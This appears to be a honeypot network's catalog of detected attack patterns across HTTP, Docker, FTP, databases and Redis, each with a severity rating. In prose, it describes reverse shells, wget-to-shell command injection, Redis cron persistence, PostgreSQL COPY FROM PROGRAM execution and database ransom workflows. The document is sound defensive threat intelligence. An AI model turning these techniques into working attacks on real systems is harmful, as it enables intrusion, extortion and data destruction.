Attack primitives and behavioral patterns detected by our honeypot network.
Identifies direct HTTPS access attempts to the A2Billing administrative entry point (/a2billing/admin/Public/index.php), indicating targeted service discovery or exposure validation of A2Billing management interfaces.
Identifies HTTP requests containing the androxgh0st payload marker in the request body, indicative of automated exploitation or scanning activity associated with Androxgh0st campaigns targeting exposed web applications and misconfigured services.
HTTP GET request targeting an IP JSON lookup-style API endpoint on a non-API service, indicative of automated REST API discovery and reconnaissance scanning against internet-exposed hosts.
Observed sequential authentication attempts against /doc/page/login.asp, beginning with page retrieval and followed by credential attempts using password Pr0d_Db_P@ss_2024! across multiple predictable usernames (admin, webapp). Indicates structured credential spraying campaign targeting ASP-based administrative interfaces.
Sequence of Docker API interactions involving container enumeration and execution endpoints, including GET requests to list containers followed by POST requests to exec endpoints, indicating an attempt to execute commands inside containers via the Docker remote API.
Client repeatedly sends GET requests to the /bad-request Docker API endpoint, indicating malformed or incompatible traffic against the Docker daemon. This pattern is typically associated with generic internet scanning or tools attempting HTTP interaction without speaking the proper Docker API protocol.
Identifies a coordinated interaction with the Docker Remote API where an actor issues HTTP GET and POST requests culminating in container creation. This pattern is consistent with automated abuse of an exposed Docker daemon (typically unauthenticated on TCP/2375), where the attacker probes the API and then programmatically creates a container for code execution or persistence.
End-to-end exploitation behavior targeting an exposed Docker Remote API. The actor validates service availability, fingerprints the Docker daemon, creates an attacker-controlled container, attaches to its execution stream, monitors container lifecycle events, and initiates execution. This sequence indicates full remote control over container creation and execution on the host and is commonly used to deploy payloads, establish persistence, or perform host-level abuse via privileged containers or mounted filesystems.
Identifies a complete abuse sequence of an exposed Docker Remote API where an actor verifies daemon availability (_ping), probes API version, performs HTTP method interactions, creates a container, and attaches to its stream for interactive command execution. This pattern reflects deliberate remote container deployment followed by direct execution or session control inside the container.
Attacker interaction with an exposed Docker Engine API resulting in container enumeration followed by remote command execution inside running containers. The sequence of GET /containers/json and subsequent POST /containers/{id}/exec and /exec/{id}/start calls represents deliberate hands-on-keyboard activity where the adversary uses the Docker daemon as a control plane to execute commands, deploy payloads, or pivot further within the host environment. This behavior reflects active container abuse observed directly through high-interaction honeypot instrumentation.
Combined execution of lspci (VGA and 3D controller extraction and device count) and nvidia-smi -q (product name extraction and non-empty count validation), together with kernel/architecture (uname -s -v -n -r -m) and uptime collection. This pattern reflects cross-validation of GPU presence using both PCI-level and NVIDIA driver-level queries, enriched with host system context.
Client performs a direct request to the Elasticsearch /_cat/indices endpoint and retrieves a successful response without preceding generic web discovery or multi-protocol probing. This behavior indicates targeted Elasticsearch reconnaissance focused on enumerating available indices, document counts, and storage size to assess data exposure. Unlike broad internet scanners, the interaction is Elasticsearch-aware from the start, suggesting tooling or operators specifically searching for open clusters rather than conducting general service fingerprinting.
Client first performs a generic request to the Elasticsearch root endpoint to verify service availability, then proceeds to request /_cat/indices. This sequence reflects staged Elasticsearch reconnaissance where the actor validates that the cluster is reachable before attempting index enumeration and data exposure assessment. Compared to direct index enumeration behaviors, the interaction begins with a service-validation step, suggesting adaptive probing rather than immediate Elasticsearch-specific targeting.
HTTPS request sequence probing for exposed environment configuration files and cloud credential paths, including multiple .env variants, application configuration files, and /.aws/credentials, with repeated attempts using query modifiers (import&raw). The pattern reflects automated enumeration of sensitive configuration resources via direct path discovery.
Identifies outbound HTTP requests to public IP reflection services (e.g., icanhazip) to retrieve the host’s externally visible IPv4 address, commonly used for environment validation, infrastructure fingerprinting, or C2 bootstrap logic.
https — medium — Identifies direct HTTPS access attempts to the A2Billing administrative entry point (/a2billing/admin/Public/index.php), indicating targeted service discovery or exposure validation of A2Billing management interfaces.
http — high — Identifies HTTP requests containing the androxgh0st payload marker in the request body, indicative of automated exploitation or scanning activity associated with Androxgh0st campaigns targeting exposed web applications and misconfigured services.
http — low — HTTP GET request targeting an IP JSON lookup-style API endpoint on a non-API service, indicative of automated REST API discovery and reconnaissance scanning against internet-exposed hosts.
http — medium — Observed sequential authentication attempts against /doc/page/login.asp, beginning with page retrieval and followed by credential attempts using password Pr0d_Db_P@ss_2024! across multiple predictable usernames (admin, webapp). Indicates structured credential spraying campaign targeting ASP-based administrative interfaces.
docker — high — Sequence of Docker API interactions involving container enumeration and execution endpoints, including GET requests to list containers followed by POST requests to exec endpoints, indicating an attempt to execute commands inside containers via the Docker remote API.
docker — info — Client repeatedly sends GET requests to the /bad-request Docker API endpoint, indicating malformed or incompatible traffic against the Docker daemon. This pattern is typically associated with generic internet scanning or tools attempting HTTP interaction without speaking the proper Docker API protocol.
docker — high — Identifies a coordinated interaction with the Docker Remote API where an actor issues HTTP GET and POST requests culminating in container creation. This pattern is consistent with automated abuse of an exposed Docker daemon (typically unauthenticated on TCP/2375), where the attacker probes the API and then programmatically creates a container for code execution or persistence.
docker — critical — End-to-end exploitation behavior targeting an exposed Docker Remote API. The actor validates service availability, fingerprints the Docker daemon, creates an attacker-controlled container, attaches to its execution stream, monitors container lifecycle events, and initiates execution. This sequence indicates full remote control over container creation and execution on the host and is commonly used to deploy payloads, establish persistence, or perform host-level abuse via privileged containers or mounted filesystems.
docker — critical — Identifies a complete abuse sequence of an exposed Docker Remote API where an actor verifies daemon availability (_ping), probes API version, performs HTTP method interactions, creates a container, and attaches to its stream for interactive command execution. This pattern reflects deliberate remote container deployment followed by direct execution or session control inside the container.
docker — high — Attacker interaction with an exposed Docker Engine API resulting in container enumeration followed by remote command execution inside running containers. The sequence of GET /containers/json and subsequent POST /containers/{id}/exec and /exec/{id}/start calls represents deliberate hands-on-keyboard activity where the adversary uses the Docker daemon as a control plane to execute commands, deploy payloads, or pivot further within the host environment. This behavior reflects active container abuse observed directly through high-interaction honeypot instrumentation.
ssh — high — Combined execution of lspci (VGA and 3D controller extraction and device count) and nvidia-smi -q (product name extraction and non-empty count validation), together with kernel/architecture (uname -s -v -n -r -m) and uptime collection. This pattern reflects cross-validation of GPU presence using both PCI-level and NVIDIA driver-level queries, enriched with host system context.
elasticsearch — low — Client performs a direct request to the Elasticsearch /_cat/indices endpoint and retrieves a successful response without preceding generic web discovery or multi-protocol probing. This behavior indicates targeted Elasticsearch reconnaissance focused on enumerating available indices, document counts, and storage size to assess data exposure. Unlike broad internet scanners, the interaction is Elasticsearch-aware from the start, suggesting tooling or operators specifically searching for open clusters rather than conducting general service fingerprinting.
elasticsearch — low — Client first performs a generic request to the Elasticsearch root endpoint to verify service availability, then proceeds to request /_cat/indices. This sequence reflects staged Elasticsearch reconnaissance where the actor validates that the cluster is reachable before attempting index enumeration and data exposure assessment. Compared to direct index enumeration behaviors, the interaction begins with a service-validation step, suggesting adaptive probing rather than immediate Elasticsearch-specific targeting.
https — medium — HTTPS request sequence probing for exposed environment configuration files and cloud credential paths, including multiple .env variants, application configuration files, and /.aws/credentials, with repeated attempts using query modifiers (import&raw). The pattern reflects automated enumeration of sensitive configuration resources via direct path discovery.
http — low — Identifies outbound HTTP requests to public IP reflection services (e.g., icanhazip) to retrieve the host’s externally visible IPv4 address, commonly used for environment validation, infrastructure fingerprinting, or C2 bootstrap logic.
ftp — medium — FTP session where a client probes for valid usernames, attempts authentication, negotiates transfer settings (ASCII and UTF-8), retrieves the current working directory, changes directories, enters passive mode, issues directory listings, and sends NOOP to maintain the session. This sequence reflects structured post-authentication exploration of the FTP file system to map directory structure and available content.
ftp — medium — FTP session where a client probes for valid users, attempts authentication, switches to ASCII mode, enters passive mode, and issues an NLST command to retrieve a directory name listing. This sequence reflects authenticated directory enumeration focused on discovering available files or structure without detailed metadata retrieval.
ftp — medium — FTP session where a client probes for valid usernames, attempts authentication, switches to ASCII mode, and enters passive mode without performing explicit file listing or transfer operations. This reflects a completed login and session setup sequence, often observed during credential validation or preparatory access prior to further activity.
ftp — high — FTP session where a client probes for valid usernames, attempts authentication, enters passive mode, negotiates transfer modes (ASCII/Binary), enumerates the /pub/vendor directory, and attempts to upload info.zip. This sequence reflects authenticated directory reconnaissance followed by file placement into a publicly accessible path, consistent with staged content deployment.
ftp — high — FTP session where a client probes for valid users, attempts authentication, negotiates transfer modes (ASCII/Binary), enumerates the /reports directory, and attempts to upload info.zip in passive mode. This sequence reflects an authenticated file placement attempt following directory discovery, consistent with staged content deployment onto a writable path.
ftp — high — FTP session where a client probes for valid users, attempts authentication, switches transfer modes (ASCII/Binary), enumerates the /scripts directory, and attempts to upload info.zip via STOR in passive mode. This sequence reflects an authenticated file placement attempt following directory discovery, consistent with efforts to deploy content onto a remotely accessible scripts path.
ftp — info — FTP session where the client issues HELP, SYST, and FEAT commands to query supported commands, system type, and server capabilities before terminating the session.
ftp — low — FTP session where the client upgrades to TLS (AUTH TLS) and proceeds to request server capability information using FEAT, HELP, and SYST before cleanly terminating the session. This pattern indicates structured service and feature enumeration rather than file interaction. The sequence is consistent with automated reconnaissance used to fingerprint FTP server configuration, supported extensions, and implementation details
ftp — low — FTP session where an empty control-channel command is observed in conjunction with non-printable binary data on the control channel. This pattern reflects malformed or non-FTP-compliant input, commonly seen during TLS handshake attempts on plaintext endpoints, protocol confusion, or automated scanner misfires.
ftp — low — FTP session where the client negotiates binary transfer mode, enters extended passive mode (EPSV), and issues an MLSD command to retrieve a machine-readable directory listing.
ftp — low — FTP session where the client issues a FEAT command to request the server’s supported feature list. This behavior reflects capability enumeration used to fingerprint server extensions, supported commands, and implementation characteristics prior to further interaction.
ftp — medium — FTP session where the client authenticates and performs repeated passive-mode directory listings while navigating directly into finance, HR, partner, vendor, and release paths such as /data/finance, /data/hr, /partners, and /pub/*, indicating targeted discovery of business-sensitive storage locations.
ftp — low — FTP session where the client enters passive mode (PASV) and issues a LIST command to retrieve a directory listing from the server.
ftp — low — FTP session where the client authenticates, queries the working directory, sets transfer mode, and enters passive mode without performing any file transfer or directory listing.
ftp — medium — FTP session where the client uploads files named Photo.scr and Photo.lnk using STOR after entering passive mode.
ftp — info — FTP session where the client issues AUTH TLS to upgrade the connection to TLS and then terminates the session with QUIT without performing further commands. This reflects minimal interaction limited to encryption negotiation and immediate disconnect, commonly observed in capability testing or automated probing.
ftp — info — FTP session where the client issues AUTH TLS to upgrade the connection to Transport Layer Security. This reflects protocol-level encryption negotiation prior to further interaction.
ftp — high — Detects an automated FTP session performing credential probing, directory discovery, ASCII mode configuration, passive transfer negotiation, and staged upload of a photo_scr payload. This pattern is consistent with scripted web shell or content-stager deployment via compromised FTP credentials.
ssh — high — Identifies systematic honeypot fingerprinting activity where an SSH session enumerates filesystem paths, configuration files, log artifacts, container indicators, and environment metadata associated with common deception frameworks (Cowrie, Kippo, OpenCanary, Endlessh, T-Pot). This behavior reflects adversary attempts to detect, validate, or evade interactive honeypot environments prior to executing payloads or post-compromise actions.
http — medium — HTTP GET request to /ai_config.py, indicating an attempt to retrieve a Python configuration file that may expose application settings or embedded secrets.
http — info — Identifies HTTP GET requests directly targeting the /bad-request path, indicating automated or manual probing of application error-handling routes rather than legitimate navigation flow.
http — high — HTTP GET request to /boaform/admin/formLogin with username and psd parameters, indicating an authentication attempt against a Boa-based router or embedded device administrative login endpoint.
http — critical — HTTP GET request to /cgibin/mainfunction.cgi with action=login and keyPath executing wget of memory_load.mips followed by chmod 777 and shell execution.
http — high — Identifies HTTP GET requests targeting the /.env file, indicating attempts to access exposed environment configuration files commonly containing application secrets such as database credentials, API keys, and service tokens.
http — medium — HTTP GET request to /.cline/settings.json.
http — info — HTTP GET request to /robots.txt.
http — low — HTTP GET request to /zc with query parameter action=getInfo.
http — critical — HTTP GET request to /ping.cgi with command injection payload downloading and executing ARM7 binary via wget.
http — high — Identifies HTTP GET requests targeting /.git/config, indicating attempts to access exposed Git repository configuration files. Successful access may enable repository reconstruction, credential harvesting, or source code disclosure.
http — high — Sequence of requests including probing activity and access to /goform/websLogin, followed by a credential submission (user_name and password), indicating an authentication attempt against a router or embedded device login endpoint.
http — high — Observed exploitation chain targeting /GponForm/diag_Form diagnostic endpoint, abusing diag_action=ping for command injection to download Mozi.m malware via wget, accompanied by images/ query artifact. Indicative of automated GPON router exploitation for Mozi botnet deployment.
http — info — HTTP request using GET method.
http — high — Coordinated automated exploitation attempts targeting public-facing web services, including PHPUnit eval-stdin access, PHP-CGI argument injection, Docker API exposure, directory traversal, ThinkPHP invokeFunction abuse, and command execution patterns (wget/curl pipe to shell). Identifies opportunistic bot-driven RCE scanning and framework-specific exploit chaining against internet-exposed applications.
http — medium — HTTP request to /_next with a multipart/form-data body containing WebKitFormBoundary segments and Next.js Flight-style payload ("$1:...").
http — low — Automated probe attempting to determine whether the target HTTP service functions as a forward proxy by requesting an external host and port (/google.com:443). Commonly observed in internet-wide open proxy discovery scanning.
http — critical — HTTP GET request exploiting pingIpAddress parameter command injection to download an ARM7 binary via wget, write it to /tmp, set executable permissions, and execute it.
http — info — Identifies HTTP requests targeting the web server root path ("/"), typically used for initial service discovery, host validation, or baseline content inspection prior to deeper enumeration.
https — medium — HTTPS request to /ai_config.py path.
https — high — HTTPS request to / with request body containing 0x%5B%5D=androxgh0st.
https — high — HTTPS request to /autodiscover/autodiscover.json with a query string containing @zdi/Powershell.
https — info — Identifies direct HTTPS requests to the /bad-request path, indicating manual or automated probing of error-handling routes rather than normal application flow.
https — high — Identifies an HTTPS request targeting a .env file in the web root or application directory. Access attempts to /.env indicate automated scanning for exposed environment configuration files that may contain application secrets, database credentials, API keys, or cloud tokens. This probe is commonly associated with opportunistic internet-wide scanning for misconfigured web deployments.
https — medium — Identifies an HTTPS request targeting the .git/config file within a web-accessible repository directory. Access attempts to /.git/config indicate automated repository exposure scanning intended to retrieve remote origin URLs, repository structure, and potentially credential-bearing configuration data. This is a common reconnaissance technique used to identify misconfigured web servers exposing version control metadata.
https — medium — HTTPS request to /dump.sql path.
https — low — Identifies HTTPS requests targeting the /fetch endpoint. This pattern is commonly associated with automated endpoint discovery, scripted resource retrieval attempts, or reconnaissance activity against applications exposing fetch-style API routes.
https — medium — Request to /.git/hooks/prepare-commit-msg.sample, indicating an attempt to access a sample Git hook file within a potentially exposed .git directory.
https — medium — Request to /.git/hooks/update.sample, indicating an attempt to access a sample Git hook file within a potentially exposed .git directory.
https — medium — Request to /.git/info/exclude, indicating an attempt to access a repository-specific Git ignore configuration file within a potentially exposed .git directory.
https — medium — HTTPS requests to /graphql, /api/graphql, /gql, /swagger.json, and / with GraphQL introspection query (__schema), gRPC server reflection access, and request bodies containing colon-delimited fields.
https — medium — HTTPS OPTIONS request to /graphql with GraphQL introspection query (__schema).
https — medium — HTTPS request to /litellm_config.yaml path.
https — medium — Request to /llm_config.py, indicating probing for exposed LLM configuration files that may contain API keys, model settings, or internal service configuration.
https — medium — Automated MCP endpoint scanning over HTTPS using JSON-RPC initialize requests from gitmc-org-mcp-scanner, combined with probing of /mcp and /sse endpoints.
https — medium — Probing for Moltbot agent authentication profiles via /.moltbot/agents/main/agent/auth-profiles.json, indicating attempts to discover exposed credentials or internal configuration for unauthorized access.
https — medium — Attempt to access /.moltbot/moltbot.json, indicating reconnaissance or exploitation of an exposed Moltbot configuration file.
https — critical — Identifies an HTTPS session performing systematic probing for environment configuration files and cloud credential artifacts across multiple common naming variants. The behavior includes requests for .env files (including development, staging, production, and local variants), application-level environment files, JSON configuration files, and AWS credential paths. The combined pattern reflects automated secret harvesting logic rather than opportunistic single-path scanning. This sequence is commonly associated with exploitation frameworks and botnets attempting to retrieve application secrets, database credentials, API keys, and cloud access tokens from misconfigured deployments.
https — critical — Sequence of requests including PHPUnit eval-stdin endpoint probing across multiple paths, PHP payload execution markers, PEAR config-create file write attempts, local file inclusion targeting /tmp/index1, direct shell access via /cgi-bin/bin/sh, and payload delivery using wget/curl piped to sh, indicating an automated multi-vector remote code execution and payload deployment attempt.
https — low — Identifies HTTPS requests targeting the /my.policy endpoint. This pattern is typically associated with automated reconnaissance, configuration or policy file discovery attempts, and scripted endpoint enumeration performed by scanners or opportunistic probing tools.
https — medium — HTTPS requests targeting /openapi.json and /grpc.reflection.v1alpha.ServerReflection/ServerReflectionInfo as part of coordinated service probing.
https — low — HTTPS request to /developmentserver/metadatauploader.
https — info — HTTPS request to /robots.txt.
https — medium — HTTP request to /.openclaw/openclaw.json.
https — medium — HTTPS request to /remote/login with query string lang=en.
https — high — HTTPS request to the web root path (/) containing a multipart/form-data body that embeds JavaScript prototype pollution constructs (__proto__, constructor:constructor) and Node.js execution logic (process.mainModule.require, child_process.spawn('/bin/sh')) establishing a TCP reverse shell connection. Represents a direct remote shell deployment attempt delivered via multipart payload to the root endpoint.
https — info — Identifies HTTPS requests targeting the web server root path ("/"), typically used for initial service discovery, host validation, or baseline content inspection prior to deeper enumeration
http — medium — HTTP GET request to /.streamlit/secrets.toml, indicating an attempt to retrieve Streamlit’s secrets configuration file containing sensitive credentials.
https — medium — HTTPS request to /contract/private/submit-order with a JSON body containing order fields (symbol, type, side, price, size, clientOid) submitting an order.
https — medium — Multi-path probing for VPN and authentication interfaces including SSL VPN portals, GlobalProtect login, CGI login endpoints, and generic auth pages, indicating reconnaissance for exposed remote access services.
http — high — HTTP request to /xmlrpc.php invoking the metaWeblog.newPost method via XML-RPC. This method enables remote content publishing and is commonly used in automated posting or abuse workflows.
imap — high — Authenticated IMAP session using the CRAM-MD5 SASL mechanism followed by explicit selection of the INBOX mailbox and execution of the EXPUNGE command, resulting in permanent deletion of messages marked as \Deleted. This sequence represents authenticated mailbox access with destructive message removal.
imap — medium — IMAP session performing CAPABILITY enumeration followed by AUTHENTICATE CRAM-MD5, indicating mechanism discovery and subsequent SASL authentication attempt using CRAM-MD5.
http — medium — Identifies HTTP requests where the URI path contains sequential literal IPv4 addresses paired with port 7227 (e.g., /x.x.x.x:7227), indicating automated scanning or propagation logic targeting multiple hosts on a fixed service port.
http — medium — Identifies JSON-RPC initialize requests from the gitmc-org-mcp-scanner client delivered via HTTP GET, indicating automated scanning activity using a non-standard transport method for JSON-RPC initialization.
ssh — low — Execution of uname -a to retrieve full kernel and host identification details (kernel name, release, version, hostname, architecture, and OS) as a single lightweight system fingerprinting action.
mongodb — info — Client issues the MongoDB buildInfo command to retrieve detailed server version and build metadata, enabling software fingerprinting and environment profiling. This behavior reflects early-stage reconnaissance commonly performed by automated scanners, vulnerability assessment tooling, or exploitation frameworks to identify MongoDB deployment characteristics and determine suitability for subsequent enumeration or attack activity.
mongodb — low — Remote client performs an initial MongoDB wire-protocol handshake using the ismaster / hello command while disclosing detailed driver and host fingerprint metadata (PyMongo driver, CPython runtime, Linux x86_64 kernel). This behavior reflects early-stage service discovery and environment profiling typically performed by automated scanners, exploitation frameworks, or reconnaissance tooling to validate MongoDB exposure, determine protocol compatibility, and prepare for subsequent enumeration or unauthorized database interaction.
mongodb — medium — Identifies a structured MongoDB reconnaissance sequence performed by a modern PyMongo client operating from a Kubernetes-orchestrated Linux container. The actor negotiates server capabilities using a hello / ismaster handshake, enumerates server build metadata via buildinfo, performs lightweight database name discovery using listDatabases with nameOnly, and explicitly terminates logical sessions using endSessions. This pattern reflects automated tooling or scripted workflows conducting deployment fingerprinting, access surface mapping, and compatibility validation prior to further database interaction.
mongodb — low — Client issues a MongoDB listDatabases command using BSON numeric encoding semantics ($numberLong) to enumerate all databases present on the server instance. This behavior reflects early-stage database surface mapping and environment discovery activity commonly performed by automated scanners, exploitation tooling, or reconnaissance frameworks to identify available administrative and application datasets prior to targeted enumeration or unauthorized access attempts.
mongodb — medium — Client performs structured MongoDB deployment reconnaissance by first initiating a standard driver handshake (ismaster / hello) disclosing client runtime and platform metadata (PyMongo, CPython, Linux x86_64), followed by an advanced topology-aware handshake request against the admin database including topologyVersion tracking and long-poll await semantics. This sequence reflects automated driver-level service validation and replica-set / cluster state discovery activity commonly associated with scanning frameworks, monitoring tooling, or pre-enumeration reconnaissance workflows preparing for deeper database interaction.
mongodb — medium — Client performs MongoDB service validation by issuing an initial hello handshake command followed by execution of the buildInfo command against the admin database to retrieve detailed server version and build metadata. This sequence reflects structured deployment fingerprinting and reconnaissance activity commonly associated with automated scanning tools, vulnerability assessment frameworks, or pre-exploitation workflows used to confirm service exposure and identify version-specific attack opportunities.
mongodb — medium — Identifies a MongoDB reconnaissance sequence where an actor initiates legacy authentication negotiation using the getnonce command followed by an isMaster topology discovery request that discloses client metadata for the mgo Go driver on a Linux amd64 system. This pattern reflects automated tooling or scripted clients performing server capability validation, authentication workflow testing, and environment fingerprinting prior to further database interaction.
mongodb — critical — Unauthenticated or opportunistic client performs broad MongoDB environment reconnaissance across multiple databases (admin, config, local, production, test) including handshake probing, database statistics gathering, collection enumeration, and bulk document listing of sensitive application datasets (users, sessions, api_keys, payments, orders, secrets, audit logs). Activity escalates to destructive actions via repeated dropDatabase commands and concludes with insertion of a ransom note database (READ_ME_TO_RECOVER_YOUR_DATA). This behavior pattern is characteristic of automated internet-wide MongoDB exploitation campaigns involving data wiping, extortion messaging, and opportunistic post-access reconnaissance.
mongodb — medium — Enumerates MongoDB server metadata and storage characteristics across multiple databases by issuing commands such as buildInfo, serverStatus, hostInfo, features, and isMaster, followed by systematic dbStats and collStats queries against common databases including admin, config, local, test, and production. This behavior reflects structured reconnaissance intended to map server capabilities, deployment topology, and data footprint prior to potential follow-on actions.
mongodb — medium — Performs a full MongoDB authentication attempt against the admin database using the SCRAM-SHA-256 mechanism. The behavior combines capability probing via isMaster speculative authentication metadata with explicit saslStart and saslContinue SASL commands, indicating an actor attempting credential-based access to a MongoDB instance through the standard SCRAM authentication workflow.
mongodb — medium — Remote client performs structured MongoDB reconnaissance by initiating a wire-protocol handshake (ismaster / hello), executing the buildInfo command to obtain server version and build characteristics, and subsequently issuing listDatabases to enumerate all databases present on the instance. This sequence reflects systematic service validation and environment mapping activity commonly associated with automated internet-wide scanning, vulnerability assessment tooling, or pre-exploitation reconnaissance workflows.
mongodb — medium — Remote client performs MongoDB service validation and environment fingerprinting by first initiating a wire-protocol handshake (ismaster / hello) followed by execution of the buildInfo command against the admin database. This sequence indicates targeted reconnaissance to determine server role, software version, build characteristics, and platform details. Such activity is commonly associated with automated scanning frameworks and pre-exploitation tooling used to assess exposure and identify version-specific vulnerabilities prior to authentication attempts or database enumeration
mssql — medium — MSSQL session sequence performing automated server reconnaissance through multiple sp_server_info calls, case-sensitivity probing, charset and configuration enumeration from master.dbo tables, and session environment adjustments (set textsize, set arithabort on). The observed queries indicate scripted capability discovery and environment profiling based strictly on database command activity.
mysql — high — Adversary performs structured enumeration of MySQL databases and application environment tiers including development (app_dev), production (app_prod), backup (backup), logging (logs), and primary application schemas. The activity combines schema discovery, metadata inspection, dataset sizing, and record-count profiling across operational and lifecycle-segmented datasets. This pattern indicates deliberate mapping of deployment topology, data replication surfaces, and log retention locations to identify high-value targets and potential data exfiltration or impact paths.
mysql — high — Systematic enumeration of MySQL server databases followed by table discovery across multiple application (app, app_prod, backup) and system schemas (information_schema, mysql, performance_schema, sys), combined with retrieval of server configuration variables. This activity reflects deliberate environment mapping and metadata harvesting intended to understand database structure, privilege exposure, operational telemetry sources, and potential high-value data locations prior to targeted data access, persistence, or impact actions.
mysql — medium — Post-access reconnaissance behavior that fingerprints a MySQL server’s configuration and deployment context by enumerating server variables and deriving the local timezone offset. Used to infer database version, enabled features, security posture, filesystem layout, and regional or infrastructure-specific defaults to guide follow-on exploitation or data exfiltration strategy.
mysql — high — Structured enumeration of MySQL server metadata and multiple application-related schemas (analytics, app, app_prod, metrics) combined with dataset sizing and record-count profiling of key tables such as users, sessions, api_keys, projects, and audit_logs. The activity indicates deliberate mapping of database structure, data volume assessment, and identification of high-value datasets consistent with pre-collection reconnaissance or staging for targeted data access or exfiltration.
mysql — medium — Interactive post-access reconnaissance behavior that fingerprints the MySQL execution environment while actively validating query side effects. Combines server variable enumeration, timezone offset inference, and warning inspection to map configuration, regional context, and permission boundaries, and to detect suppressed errors or execution anomalies before attempting higher-risk operations.
mysql — critical — Performs a structured MySQL extortion workflow that first disables autocommit and calculates database size via information_schema to assess data value, then enumerates tables, creates a ransom table, inserts explicit extortion messages with payment instructions, and commits the transaction—clearly indicating intentional database extortion following valuation.
mysql — medium — A transactional sequence where autocommit is disabled, database privileges (INSERT, DELETE, CREATE, DROP) are revoked from a user on a target database, privilege tables are flushed, and the transaction is committed. This pattern indicates deliberate modification of MySQL access control, potentially used to restrict or alter another account’s capabilities after gaining database access.
mysql — critical — Performs a coordinated sequence of MySQL actions to create and select a ransom-themed database and table, insert extortion markers, and explicitly manage transactions, clearly signaling database compromise and intent to extort the owner
mysql — high — Adversary creates and switches to a newly generated database, creates ransom-related tables, inserts ransom marker content, and commits transactional changes while optionally disabling autocommit. The sequence includes table enumeration and structured write operations indicative of database-level ransomware staging or defacement activity intended to persist extortion instructions or disrupt normal data availability.
mysql — low — Automated reconnaissance behavior that performs a basic enumeration of accessible MySQL databases to identify available schemas and infer hosted applications or data presence. Often used as an initial validation step to confirm database access and assess whether further enumeration or extraction is worthwhile.
mysql — low — Database session initialization sequence where the client disables autocommit and explicitly configures connection character set and collation (utf8mb4, utf8mb4_general_ci). This pattern indicates scripted or tool-driven MySQL interaction establishing controlled transactional behavior and consistent Unicode handling prior to structured query execution or bulk database operations.
mysql — critical — Explicitly disables autocommit, then deliberately drops multiple named databases and commits the transaction, indicating intentional and controlled destructive activity against specific MySQL databases rather than reconnaissance or misconfiguration.
mysql — high — A transactional sequence where autocommit is disabled, the MySQL SHUTDOWN command is issued, and the transaction is committed. This pattern represents an authenticated user intentionally terminating the MySQL server process, resulting in immediate database service disruption or denial of service.
mysql — low — Disables MySQL autocommit mode without performing any follow-up actions, indicating an initial transaction manipulation probe or a failed/aborted attempt to prepare multi-step database operations. Often seen in low-confidence automation or disrupted attack flows.
mysql — critical — Sequence where a MySQL UDF is created from a shared library (multiple variants observed), followed by invocation of functions such as downloader/xpdl3 to retrieve the exiles.exe payload and write it to a Windows path. Includes prior environment probing via SELECT @@version_comment
mysql — medium — Attacker enumerates non-system MySQL database schemas and associated table statistics (row counts, storage size, average row size) via metadata queries against the TABLES catalog. This activity indicates targeted discovery of accessible application datasets and data volume profiling to prioritize exfiltration, credential harvesting, or destructive actions against high-value databases.
http — medium — Automated multipart form-data payload attempting prototype pollution against a Next.js / React Server Components deserialization context using __proto__ and constructor:constructor gadget references. Indicates staged remote code execution probing against Node.js-based public-facing applications.
ssh — high — Execution of uname -s -v -n -r -m to collect kernel and architecture details, uptime -p for system uptime, lspci queries to extract and count VGA-class PCI devices, and nvidia-smi -q filtering for product name to identify NVIDIA GPU models. This pattern reflects layered GPU identification using both PCI enumeration and NVIDIA driver-level queries, combined with basic host system metadata collection.
postgres — critical — Represents a complete, tightly scoped PostgreSQL exploitation chain where a client initiates a transaction, fingerprints the server version, prepares a temporary table, executes an external system command via COPY FROM PROGRAM, retrieves the command output, and immediately cleans up by dropping the table. This sequence is highly characteristic of automated post-authentication exploitation tooling that abuses PostgreSQL’s trusted language and program execution features for one-shot remote command execution, output capture, and minimal on-disk footprint. The rapid execution and cleanup indicate intent to execute payloads rather than interact with the database as a datastore.
postgres — high — Represents a full PostgreSQL host compromise chain in which an attacker fingerprints the database server, prepares a temporary table to capture command output, executes arbitrary OS commands via COPY ... FROM PROGRAM (commonly using base64-encoded shell payloads), and subsequently establishes persistence by creating a new PostgreSQL role with LOGIN and SUPERUSER privileges. This behavior indicates successful remote command execution on the database host followed by deliberate persistence inside PostgreSQL, allowing the attacker to retain long-term administrative access even if the initial access vector is closed.
postgres — medium — Identifies a PostgreSQL reconnaissance sequence where an actor first issues a comment-based parser probe, then interacts using a deterministic statement-cache prepared statement identifier, followed by enumeration of the current database encoding and locale settings via pg_catalog.pg_database. This pattern reflects automated client or adversarial tooling performing environment fingerprinting to assess query parsing behavior, driver compatibility, and database configuration prior to further interaction or exploitation attempts.
postgres — critical — Represents an advanced PostgreSQL compromise chain where an attacker achieves OS command execution via COPY ... FROM PROGRAM, establishes persistent administrative access by creating a new superuser role, and then deliberately revokes the pg_execute_server_program privilege from the default postgres role.
postgres — low — PostgreSQL session where the client authenticates and executes SELECT VERSION() following an empty statement, indicating automated environment probing to retrieve database server version details after successful login.
postgres — low — Represents a minimal but deliberate PostgreSQL reconnaissance pattern where a client starts an explicit transaction and immediately queries the size of the default postgres database. This behavior is characteristic of automated probes or lightweight bots performing environment valuation, checking whether the target database is non-trivial in size before deciding to continue interaction, escalate activity, or move on. The lack of follow-up queries strongly suggests scripted reconnaissance rather than legitimate application behavior.
postgres — low — PostgreSQL session where the client authenticates using MD5 and immediately executes SELECT version();, indicating automated server fingerprinting to retrieve database version information following login.
rdp — medium — Identifies RDP clients attempting authentication using the legacy RDP security mode where credentials are exchanged through the older RDP security layer instead of Network Level Authentication (NLA). This indicates the client negotiated legacy plaintext authentication during the RDP security handshake
rdp — medium — Identifies RDP clients attempting authentication using Network Level Authentication (NLA) with the NTLM challenge-response protocol. This occurs during the CredSSP negotiation phase before a remote desktop session is established and indicates an active credential authentication attempt against the RDP service
redis — low — Identifies an automated Redis service probing sequence consisting of PING, INFO (uppercase invocation), execution of a deliberately nonexistent command to assess error handling behavior, and QUIT. This tightly grouped pattern reflects reconnaissance and fingerprinting activity used by scanners and exploitation frameworks to determine Redis version, configuration details, and command availability prior to follow-on exploitation attempts. The inclusion of a nonexistent command indicates capability probing rather than normal client interaction.
redis — critical — Identifies Redis configuration abuse where an attacker modifies dir and dbfilename to write a malicious cron job to system cron directories, disables write protections, saves the database to disk, and achieves persistence via scheduled command execution (often using wget/curl pipe-to-sh patterns).
redis — critical — Detects direct Redis configuration abuse where an exposed instance is reconfigured to write malicious cron entries (including root-executed variants using curl or wget-style binaries), followed by SAVE/FLUSHALL to persist the cron file to disk. This behavior identifies automated cron-based persistence and recurring remote code execution without requiring prior reconnaissance commands.
